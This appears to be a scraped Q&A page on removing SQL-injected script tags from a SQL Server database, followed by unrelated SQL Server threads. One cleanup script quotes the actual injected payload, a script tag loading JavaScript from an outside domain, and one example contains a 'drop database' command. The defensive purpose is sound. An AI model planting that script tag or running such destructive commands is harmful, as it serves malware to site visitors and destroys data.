What's the best way of cleaning up after a SQL Injection? - sql

I've been tasked with the the maintenance of a nonprofit website that recently fell victim to a SQL injection attack. Someone exploited a form on the site to add text to every available text-like field in the database (varchar, nvarchar, etc.) which, when rendered as HTML, includes and executes a JavaScript file.
A Google search of the URL indicates that it's from email spammers based out of Romania or China, but that's not what's important right now.
I went through and manually removed the information from the the text fields that render on most visible and popular pages on the site but I'm curious as to what would be the best programmatic way of removing the text from the other text fields on the site.
Obviously there's more that needs to be done (hardening the site against SQL injections, using something like markdown instead of storing HTML, etc.) and I am working on those but for the time being what I really need is a good way to go in and programmatically remove the injected text. I know what the exact text is, it's the same every time, and it's always appended to the end of any text field. I can't afford to strip out all HTML in the database at this time and I don't know when this happened exactly so I can't just roll back to a backup. Also, the site is on shared hosting and I cannot connect to the database directly with SQL Server tools. I can execute queries against it though, so if there's any way of constructing a SQL update statement to the effect of "hey find all the text fields in all of the tables in the entire database and do this to clean them" that would be the best.

Restore the data from a recent backup.

I was victim and you can use it to clean up
UPDATE Table
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

Assuming you've fallen victim to the same attack as everyone else, then SQLMenace' code is close. However, that attack uses a number of different script urls, so you'll have to customize it to make sure it matches the url you're seeing in your database.
I wrote about it as well, and my solution code included a more-generic cleanup.
One important point is that the very first thing you need to do is take down the site. Right now you're actively serving malware to your users, and that could put you in a legal fix later. Put up a placeholder page so your users aren't left in the dark, but don't keep serving up malware. Then you can fix the site to make sure it's no longer vulnerable to injection. The simplest way to do that for this particular attack is to just disable sysobjects/syscolumns permissions for your web user, but you'll want to make a more through cleanup as well or it's only a matter of time until you're cracked again. Then you can use the code provided to clean up the site and put it back live.

This will reverse that, also it would be wise to take sysobject permissions away from the username your site runs with, and to sanitize input of course
DECLARE #T VARCHAR(255),#C VARCHAR(4000)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0)
BEGIN
EXEC('if exists (select 1 from ['+#T+'] where ['+#C+'] like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+#T+'] set ['+#C+']=replace(['+#C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+#C+'] like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
I wrote about this a while back here: Microsoft Has Released Tools To Address SQL Injection Attacks

Related

Table is automatically truncated on SQL Server

I have a really strange problem on my SQL Server.
Every night 2 tables, that I have recently created, are being automatically truncated...
I am quite sure, that it is truncate, as my ON DELETE Trigger does not log any delete transactions.
Additionally, using some logging procedures, I found out, that this happens between 01:50 and 01:52 at night. So I checked the scheduled Jobs on the server and did not find anything.
I have this problem only on our production server. That is why it is very critical. On the cloned test server everything works fine.
I have checked transaction log entries (fn_dblog), but didnt find any truncate logs there.
I would appreciate any help or hints that will help me to find out process/job/user who truncates the table.
Thanks
From personal experience of this, as a first step I would look to determine whether this is occurring due to a DROP statement or a TRUNCATE statement.
To provide a possible answer, using SSMS, right click the DB name in Object Explorer, mouse over Reports >> Standard Reports and click Schema Changes History.
This will open up a simple report with the object name and type columns. Find the name of the table(s), click the + sign to expand, and it will provide you history of what has happened at the object level for that table.
If you find the DROP statement in there, then at least you know what you are hunting for, likewise if there is no DROP statement, you are likely looking for a TRUNCATE.
Check with below query,
declare #var as varchar(max)='tblname'
EXEC sp_depends #objname =#var;
it will return number of stored procedure name which are using your table and try search for any truncate query if you have wrote by mistake.
Thanks a lot to everyone who has helped!
I've found out the reason of truncating. It was an external application.
So if you experience the same problem, my hint is to check your applications that could access the data.
I don't know if can help you to resolve the question.
I often encounter the following situations.
Look at this example:
declare #t varchar(5)
set #t='123456'
select #t as output
output:12345

Is there a 'Are you sure want to continue?' SQL Command?

We have many SQL Server scripts. But there are a few critical scripts that should only be run at certain times under certain conditions. Is there a way to protect us from ourselves with some kind of popup warning?
i.e. When these critical scripts are run, is there a command to ask the user if they want to continue?
(We've already made some rollback scripts to handle these, but it's better if they not be accidentally run at all).
No, there is no such thing.
You can write an application (windows service?) that will only run the scripts as and when they should be.
The fact that you are even asking the question shows that this is something that should be automated, the sooner the better.
You can mitigate the problem in the meanwhile by using if to test for these conditions and only execute if they are met. If this is a series of scripts you should wrap them in transactions to boot.
One work-around you can use is the following, which would require you to update a value in another table:
CREATE PROC dbo.MyProc
AS
WHILE (SELECT GoBit FROM dbo.OKToRun) = 0
BEGIN
RAISERROR('Waiting for GoBit to be set!', 0,1)
WAITFOR DELAY '00:00:10'
END
UPDATE dbo.OKtoRun
SET GoBit = 0
... DO STUFF ...
This will require you to, in another spid or session, update that table manually before it'll proceed.
This gets a lot more complicated with multiple procedures, so it will only work as a very short-term workaround.
sql is a query language. does not have ability to accept user inputs.
only thing i can think of would be to have it #variable driven. first part should update #shouldRunSecond = 1. and the second part should be wrapped in a
if #shouldRunSecond = 1
begin
...
end
second portion will be skipped if not desired.
The question is - where are these scripts located ?
If you have them as .sql file that you open every time before you run, then you can simply add some "magic numbers" before beginning of the script, that you will have to calculate every time, before you run it. In example below each time before you run your script you have to put correct date and minute into IF fondition, other wise script will not run
IF DATEPART(dd,GETDATE())!=5 or DATEPART(mi,(GETDATE()))!=43
BEGIN
RAISERROR ('You have tried occasionally to run your dangerous script !!!',16,1);
RETURN
END
--Some dangerous actions
drop database MostImportantCustomer
update Personal set Bonus=0 where UserName=SUSER_SNAME()
If your scripts reside in stored procedure - you can add some kind of "I am sure, I know what I do" parameter, where you will always pass, for example Minute multiplied by Day.
Hote it helps
I have seen batch scripts containing SQLCMD ..., so instead of running the .sql script from code or management studio, you could add a prompt in the script.
I have (on limited occasion) created an #AreYouSure parameter that must be passed into a stored procedure, then put comments next to the declaration in the stored procedure explaining the danger of running said procedure.
At least that way, no RANDOs will wander into your environment and kick off stored procedures when they don't understand the consequences. The parameter could be worked into an IF statement that checks it's value, or it doesn't really have to be used at all, but if it must be passed, then they have to at least figure out what to pass.
If you use this too much, though, others may just start passing a 'Y' or a 1 into every stored procedure without reading the comments. You could switch up the datatypes, but at some point it becomes more work to maintain this scheme than it is worth. That is why I use it on limited occasion.

logging detailed information to file in SQL Server

Does anyone have some code to simply log some detailed information to a file within a SQL query (or stored procedure or trigger)? I'm not looking for anything fancy. All I want to do is to quickly put debug information into my SQL, much like folks do for JavaScript debugging using alerts. I looked at using Lumigent, but that seems like overkill for what I want to do. I don't care what the format of the logging is in. Below is a simple example of what I'd like to do.
Example:
DECLARE #x int;
SET #x = '123'
-- log the value of #x
============
9/6/2011 # 4:01pm update
I tried the sqlcmd below, which works well. But it doesn't work well when there are 100 parameters on a stored procedure when I want to debug. In that case, I need to go put a break-point in my client code, then get the value of each argument. Then go and type out the exec command, and then look at the output file. All I want to do is put one simple line of code into my SQL (perhaps calling another stored procedure if it takes more than one line of code), that writes a variable value to a file. That's it. I'm just using this for debugging purposes.
One pretty easy method is to use either OSQL or SQLCMD to run your procedure. These are command-line methods for executing SQL commands/procedures/scripts.
With those utilities you can pipe the output (what would normally appear in the "Messages" tab in SSMS) to a text file.
If you do this, in your example the code would be:
DECLARE #x int;
SET #x = '123'
PRINT #x
If you are running the same procedure multiple times, you can just save it a a one-line batch file to make it very easy to test.
Now with more background I think I can promote my comment to an answer:
Why does it have to be a file? If this is just during debugging, can't you just as easily log to a table, and when you want to see the recent results:
SELECT TOP (n) module, parameters, etc.
FROM logTable
ORDER BY DateCreated DESC;
You can simplify the logging or at least make it easier to replicate from procedure to procedure by having a stored procedure that takes various arguments such as ##PROCID and others to centralize the logging. See this article I wrote for some ideas there - it's geared to just logging once per stored procedure call but you could certainly call it as often as you like inside any stored procedure.
This seems like much less hassle than using an archaic file-based log approach. You're already using a database, take advantage!
If you're committed to using a file for whatever reason (it might help to understand or counter if you enumerate those reasons), then the next best choice would likely be CLR, as already mentioned. A complete solution in this case might be beyond the scope of this single question, but there are tons of examples online.

sql server 2005 stored procedure unexpected behaviour

i have written a simple stored procedure (run as job) that checks user subscribe keyword alerts. when article
posted the stored procedure sends email to those users if the subscribed keyword matched with article title.
One section of my stored procedure is:
OPEN #getInputBuffer
FETCH NEXT
FROM #getInputBuffer INTO #String
WHILE ##FETCH_STATUS = 0
BEGIN
--PRINT #String
INSERT INTO #Temp(ArticleID,UserID)
SELECT A.ID,#UserID
FROM CONTAINSTABLE(Question,(Text),#String) QQ
JOIN Article A WITH (NOLOCK) ON A.ID = QQ.[Key]
WHERE A.ID > #ArticleID
FETCH NEXT
FROM #getInputBuffer INTO #String
END
CLOSE #getInputBuffer
DEALLOCATE #getInputBuffer
This job run every 5 minute and it checks last 50 articles.
It was working fine for last 3 months but a week before it behaved unexpectedly.
The problem is that it sends irrelevant results.
The #String contains user alert keyword and it matches to the latest articles using Full text search. The normal execution time is 3 minutes but its execution time
is 3 days (in problem).
Now the current status is its working fine but we are unable to find any reason why it sent irrelevant results.
Note: I have already removing noise words from user alert keyword.
I am using SQL Server 2005 Enterprise Edition.
I don't have the answer, but have you asked all the questions?
Does the long execution time always happen for all queries? (Yes--> corruption? disk problems?)
Or is it only for one #String? (Yes--> anything unusual about the term? Is there a "hidden" character in the string that doesn't show up in your editor?)
Does it work fine for that #String against other sets of records, maybe from a week ago? (Yes--> any unusual strings in the data rows?)
Can you reproduce it at will? (From your question, it seems that the problem is gone and you can't reproduce it.) Was it only for one person, at one time?
Hope this helps a bit!
Does the CONTAINSTABLE(Question,(Text),#String) work in an ad hoc query window? If not it may be that your Full Text search indexes are corrupt and need rebuilding
Rebuild a Full-Text Catalog
Full-Text Search How-to Topics
Also check any normal indexes on Article table, they might just need rebuilding for statistical purposes or could be corrupt too
UPDATE STATISTICS (Transact-SQL)
I'd go along with Glen Little's line of thinking here.
If a user has registered a subscribed keyword which coincidentally (or deliberately) contains some of the CONTAINSTABLE search predicates e.g. NEAR, then the query may take longer than usual. Not perhaps "minutes become days" longer, but longer.
Check for subscribed keywords containing *, ", NEAR, & and so on.
The CONTAINSTABLE function allows for a very complex set of criteria. Consider the FREETEXTTABLE function which has a lighter matching algorithm.
1) How do you know it sends irrelevant results?
If it is because user reported problem: Are you sure she didnt change her keywords between mail and report?
Can you add some automatic check at end of procedure to check if it gathered bad results? Perhaps then you can trap the cases when problems occur
2) "This job run every 5 minute and it checks last 50 articles."
Are you sure it's not related to timing? If job takes more than 5 minutes one time, what happens? A second job is starting...
You do not show your cursor declaraion, is it local or could there be some kind of interference if several processes run simultaneously? Perhaps try to add some kind of locking mechanism.
Since the cursors are nested you will want to try the following. It's my understanding that testing for zero can get you into trouble when the cursors are nested. We recently changed all of our cursors to something like this.
WHILE (##FETCH_STATUS <> -1) BEGIN
IF (##FETCH_STATUS <> -2) BEGIN
INSERT INTO #Temp(ArticleID,UserID)
SELECT A.ID,#UserID
FROM CONTAINSTABLE(Question,(Text),#String) QQ
JOIN Article A WITH (NOLOCK) ON A.ID = QQ.[Key]
WHERE A.ID > #ArticleID
END
FETCH NEXT FROM #getInputBuffer INTO #String
END

How do I create a trigger to replace sql injected <script> tags in SQL Server 2000?

I have some old databases i was handed that use SQL Server 2000 and they are getting SQL Injected with javascript script tags at the end of certain database fields. I need a trigger to strip out the injected on update until I have time to fix the front end that is allowing this.
I am a SQL Server novice - please help!
I think a constraint would be better. Anything that has compromised content would be better rejected.
Set up a constraint on the field something like
CHARINDEX('<script&gt',[fieldname]) = 0
Is there any regex like functionality in SQL Server 2000? The content of the script tags constantly changes.
something like:
UPDATE table
SET field = REPLACE(field, '</script>', REPLACE(field, '<script>',''))
WHERE table.pk IN (SELECT pk FROM inserted WHERE field LIKE '%script>')
?
There's a large scale attack that's been going on since way back in April, and if that's what getting you then you'd have to add a trigger for every table in the database.
This script modifies the original attack code to clean up everything in one swoop, assuming <script isn't valid text anywhere in the db:
DECLARE #T varchar(255),#C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0) BEGIN
exec('update ['+#T+'] set ['+#C+']=LEFT(['+#C+'], CHARINDEX(''<script'', ['+#C+'])-1)
WHERE CHARINDEX(''<script'', ['+#C+']) >0')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Additionally, I've heard you may have luck stopping this attack by removing SELECT permissions for the application user on syscolumns or sysobjects, if that's an option for you. You still need to fix your vulnerabilities in preparation for the next attack.
once your data is fixed you will need to find and fix the way the injections are getting into your datbase. I presume you are probably using dynamic SQl. This article will help you fix it so that injections won't be a problem
http://www.sommarskog.se/dynamic_sql.html